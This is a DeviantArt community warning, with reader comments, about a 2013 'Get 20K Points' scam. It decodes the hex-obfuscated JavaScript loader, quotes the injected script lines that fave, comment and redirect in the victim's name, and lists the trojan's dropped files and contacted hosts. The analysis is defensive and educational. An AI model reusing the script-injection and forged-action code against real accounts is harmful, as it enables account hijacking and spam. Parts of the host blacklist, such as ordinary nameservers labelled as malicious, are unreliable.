HOME | DD
Lilyas — Update on the - Get 20K Points - Invasion
#bot #points #spam #troll #spambot
Published: 2013-04-28 12:38:00 +0000 UTC; Views: 17693; Favourites: 109; Downloads: 0
Redirect to original
Description
Update April, 29: All spam accounts from last weekend have been deleted by DA staff.But new spam accounts have been opened. Please report them to the Help Desk and/or leave a comment here or on petersong's page .
Copied from here:
petersong.deviantart.com/art/S…
Before you do anything stupid, please read this
Obviously, this offer is swindling.
And as such it is dangerous for you !
table of contents
- What it does
- And then what ?
- What can we do ?
- "I installed it, but I'm okay"
- "OMG my brother did it !"
- I did not download/run that exe file, am I safe ?
- Connected Viruses/Malware/Adware identified
- Personal investigations
- Updates
- There was no harmful code in the JavaScript stuff that I saw, but it can change at any time
- Any reasonable browser should not be able to execute a downloaded file without warning you before (and the "plugin" stuff is AFAIK only fake div displayed as part of the internet webpage, then not harmful)
- I think that the only thing really endangered by the JavaScript is your session cookie, then changing you password might be wise.
- I have heard of other more sophisticated attacks like buffer overflowing and stuff, but I'm not competent enough to tell you if there is such a threat. Then consider you are not safe until someone can tell us whether there is such a potential threat.
- Trojan
- Identified by Emsisoft as Trojan.MSIL.Spy.Agent.AMN (A)
- Identified by Fortinet as MSIL/Agent.HG!tr.spy
- Identified by ESET-NOD32 as a variant of MSIL/Spy.Agent.HG
- Identified by many other malware detectors as Trojan.GenericKD.966175
- This is a serious threat
- This is a Trojan, which means it is a malicious software spying your computer and sending (or giving access to) this data to malicious people. See the Internet Holy Bible for reference.
- Some antivirus are free. See the Mighty Source of all Truth for reference.
- Fresh news here thanks to ~ krisiskiller101 investigations !
- He was able to get rid of it using MalwareBYTES
- He confirmed that RASMan service was up on his computer. Though, this service is not supposed to be harmful and might have been up before. It might also be part of the trojan attack that was not turned back up by the fix because it is not harmful alone.
- Thanks for the info !
- AdWare.iBryte.H
- seems to be a recent version of wellknown adware iBryte
- Only comodo antimalware seems to identify it. Maybe ESET-NOD32 too.
- Be very careful as searching for "iBryte.H removal" can lead to spywareprotectiontool.com which is a malicious website giving you malware instead of solutions
- You can find instructions for this adware removal, searching for "iBryte removal", but I don't know if they would work with this version of the adware (please, tell us if you have any success with one of these procedure)
- Optimum Installer (fs)
- Might be a wrong positive
- There is plenty of removal instruction tutorials (please, tell us if you have any success with one of them)
- It mess up your registry in a theatrical way
- It probably affects the download manager associated with your web browser
- It probably affects the toolbars in your web browser
- Writes 'test' everywhere in the registry
- Mess up with your ie cache
- Creates files
- Create an executable file named "D2M-Precheck.exe", hidden in "C:\Document and settings\Your_User_Name\Local Settings\Temp"
- Create an executable file named "check_offer_rp.dll", hidden in "C:\Document and settings\Your_User_Name\Local Settings\Temp"
- Create copies of these two files in a subdirectory of "C:\Document and settings\Your_User_Name\Local Settings\Temporary Internet Files\Content.IE5\"
- Runs the created exe file, which in turn spoils your computer :
- Creates a new "exe" file named "Impressioner.exe" along with a "System.Data.SQLite.dll" and "imp.dat" files, hidden at the same place : "C:\Document and settings\Your_User_Name\Local Settings\Temp"
- Transfers data through internet with following addresses
- imp.oi-imp1.com
- config.oi-config1.com
- d1uc4fr8hoy8ts.cloudfront.net
- cdn.install.oibundles2.com (the only thing done here is downloading the dll file stated before)
- cache-download.real.com
- d2m.adk-mobile.com
- app-bucks.com
- app-caster.com
- ns20.real.com
- ns30.real.com
- ns40.real.com
- ns-01.cloudfront.net
- ns-02.cloudfront.net
- nsgtm01.ak-networks.com
- nsgtm02.ak-networks.com
- nsgtm03.ak-networks.com
- scenic-screensavers.com
- ns7.markmonitor.com
- ns6.markmonitor.com
- ns2.markmonitor.com
- ns4.markmonitor.com
- ns5.markmonitor.com
- ns3.markmonitor.com
- ns1.markmonitor.com
- Probably displays advertising
- There is at least 2 scripts, now : mix.js and nr.js (second one only fav without leaving a comment)
- There is at least two messages spreading this sh*t
- It seems I was totally wrong thinking that infected people were spreading those messages. It is more probably bots registering and posting every x seconds
What it does
"\x61" is just another way to write "a" (ISO hexadecimal encoding)
Thus,
["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x74\x74\x70\x3A\x2F\x2F\x64\x65\x76\x69\x61\x6E\x74\x61\x72\x74\x2E\x68\x70\x2E\x61\x66\x2E\x63\x6D\x2F\x67\x65\x6E\x65\x72\x61\x74\x6F\x72\x2F\x6D\x69\x78\x2E\x6A\x73"]
is just written words. Script actually.
You can have it safely translated by using the "unescape" Javascript function, on this part of the script only.
Once translated, this script does one thing : it includes a bigger, more elaborated script as being part of the DA page.
This script can be found here :
deviantart.hp.af.cm/generator/…
This script will now be able to act in your name
Note that this script is NOT hosted by deviantart.com website. It is a foreign website, hosted in Cameroon (Africa), in such a way that the smugglers can't be found by regular simple investigations. They are hiding, and hiding well.
This new script does something else.
For now (but it might change) :
document.getElementById("gmi-ResourceViewFaveButton").click();
It simulates click on the "Fave" button.
document.getElementById("commentbody").value="It actually works! Wohoooooooo! Thanks!";
It writes (in your name) a fake comment saying "It actually works! Wohoooooooo! Thanks!".
setTimeout("document.getElementsByClassName('ll f')[0].click()", 100);
It programs something that will hide this actions by reopening the comment area once it is posted.
document.getElementsByClassName("smbutton smbutton-blue smbutton-big comment-submit")[0].click();
It validates the comment (in you name).
window.top.location.href='deviantart.hp.af.cm/generator' ;
alert('DeviantART: Welcome to deviantART\'s Points Generator! You will be redirected to our generator. Click OK to proceed')
It programs a redirection to their website and displays an alert that says "DeviantART: Welcome to deviantART\'s Points Generator! You will be redirected to our generator. Click OK to proceed"
And then what ?
And then you wont get any DA points, indeed. I bet you guessed yet…
Instead, they will say to you "Oh, you don't have this so great plugin, come and download it !", launch the download anyway. And this is where you get screwed if you are gullible enough to run an executable file from a random site hidden in Cameroon…
I don't know (yet) what this exe file does. But I know what it could do.
First of it might be (and probably is) a security breach on your computer. Trojan, virus, remote agent…
Which in turn could be aimed at several things : spreading this publication so that other get screwed, stealing personal information (such as payment card numbers), using your computer as a proxy for networks attacks…
If you already downloaded the file, please, be very careful. Use antiviral detection and malware removal on your computer now, and in a few days. Firewall protection is a must have.
The malware might steal your "cookie" too. This means that your password might be compromised. Actually not only for deviantArt.
What can we do ?
For now, we can try to warn and inform people.
Try to make them stop spreading this stupid hoax.
If you have any idea of what more to do, please, comment.
"I installed it, but I'm okay"
Are you so very sure of this ? FYI, virustotal.com ran a virus detection on the exe file using 45 antivirus and states that only 3 of the 45 antivirus he tested found a threat.
Report can be found here : see the virustotal report
Now, do as you want.
"OMG my brother did it !"
I did not download/run that exe file, am I safe ?
As far as I know
Thus I would say that as far as I know, you should be relatively safe, but I also know that this is a huge field and that I'm no pro. So you should consider being careful, and having antiviral + firewall protection up to date on your computer (as everyone else).
Connected Viruses/Malware/Adware identified
One or several of these malwares might have been dropped on you computer if you had this exe file run on your computer :
Personal investigations
I don't have a packed solution. And I won't probably have time enough to investigate thoroughly this stuff.
Yet, I found some hints, by diving modestly into this sh*t. I share it for people that it might help.
This program does the following :
Be careful : this is not an exhaustive list. And all that is listed above is not necessarily harmful (e.g. SQLite.dll is just a database they use, not a virus itself, probably). Do not edit your Registry if you don't know exactly what you are doing.
Moreover, I have no idea on what this "impressioner.exe" does. Then there might be a lot more mess to clean. By the way, if you were infected and are able to find this file, please, consider sending a copy of it to me.
-edit- Okay, it will be hard to find this file on your drive : this file "does something" (including turning up RASMAN Service) and deletes itself. This is really not comforting.
This said, and with no guarantee of any kind, "do it at your own risks" and stuff, I think that you can safely delete the exe and dll files mentioned above. It might get you rid of part of the infection.
If you have more information or if you can teach me something on this kind of investigations, please, contact me, I will update.
This information might even be wrong depending on your OS and configuration !
Updates
Thank for reading.
Related content
Comments: 139
About what I guessed when I first started seeing those a few days ago. Experience says one thing, but that doesn't mean everyone else knows that. Great explanation and general warning there.
👍: 0 ⏩: 0
I figured that thing was a scam, but not that big...
Faved. Hopefully people see this and get the message to not click it.
👍: 0 ⏩: 0
As far as I know... Google Chrome can open .exe's without your permission. Whether this has the same rights... Only time will tell.
👍: 0 ⏩: 0
Jeez miss, you're scaring me D: Spread the word!!!
👍: 0 ⏩: 1
Don't be. Just stay away from the spam.
👍: 0 ⏩: 1
I've had a trojan twice. And let me tell you, it's not nice
the trojans were inactive but let me tell you, it fucked with my computer so hard
👍: 0 ⏩: 1
We all have had similar experiences, it is what it is.
Just be weary.
👍: 0 ⏩: 0
This horrible, why are some people so pathetic to do something like this.It's so not right.
Thanks for sharing this news.
👍: 0 ⏩: 0
I was just waiting for someone to root up all of these details! Definitely faved.
👍: 0 ⏩: 0
I just saved myself from doing that!!!! THANKS FOR SAVING ME!!!!!!!
👍: 0 ⏩: 1
THNX soo much for the info, luv and gladly I didn't got it, yet. I mean the add that is.
♥
👍: 0 ⏩: 0
i haven't seen the ad,
Or maybe I wasn't paying attention,
But man am I glad to find out. <:
Thanks!
👍: 0 ⏩: 0
Thank you for informing me, I spread it as soon as possible.
👍: 0 ⏩: 0
I'm so glad I don't listen to point giveaways and such, thank you for the message.
I will share this to keep others safe.
👍: 0 ⏩: 0
Also, the file that ran in my virtualbox last night was not called Impressioner.exe.
It was called VIO_Flash_Installer.exe
Ironically the icon used for the obviously hacked program was a skull and crossbones.
👍: 0 ⏩: 0
Yeah, I knew this was a scam from the beginning. Haven't gone anywhere near it.
👍: 0 ⏩: 0
I saw no danger of it editing my registry like it would with Windows, because I use Linux. Linux doesn't work that way.
It's actually fairly safe on Linux, as long as you decompile the program and don't install it. I don't think install on Linux... but I didn't try. I did try running the program in a Windows virtualbox and collecting metrics from the Linux shell.
Interestingly, from the IP tracebacks I was getting in my virtualbox, it looks like none of these servers actually contain a full copy of the malware or virus, but only small pieces that are assembled like prions on a Windows system.
One hit on any 20K landing page is all it takes for the program to be installed, then it downloads all the remaining pieces to completely corrupt the system afterwards.:
I did get more internet addresses you can add to your list though. These should be broadcast to every blacklist in the country, imho. All of these sites host and distribute malware and viruses.:
app-bucks.com
app-caster.com
ns20.real.com
ns30.real.com
ns40.real.com
ns-01.cloudfront.net
ns-02.cloudfront.net
nsgtm01.ak-networks.com
nsgtm02.ak-networks.com
nsgtm03.ak-networks.com
scenic-screensavers.com
ns7.markmonitor.com
ns6.markmonitor.com
ns2.markmonitor.com
ns4.markmonitor.com
ns5.markmonitor.com
ns3.markmonitor.com
ns1.markmonitor.com
👍: 0 ⏩: 1
Ok, thank you. I am going to update the list.
👍: 0 ⏩: 0
EDIT "impressioner.exe", it will be hard to find this file on your drive : this file "does something" (including turning up RASMAN Service) and deletes itself. This is really not comforting.
👍: 0 ⏩: 1
They are acting clever. Because they must be cleverer as your clever antivirus software.
👍: 0 ⏩: 1
Faith in humanity= -63
Thanks for the info, will be sharing!
👍: 0 ⏩: 0
OWO... thank you for warning me!!! 
👍: 0 ⏩: 1
2. Update copied.... Thank you!
👍: 0 ⏩: 0
<= Prev |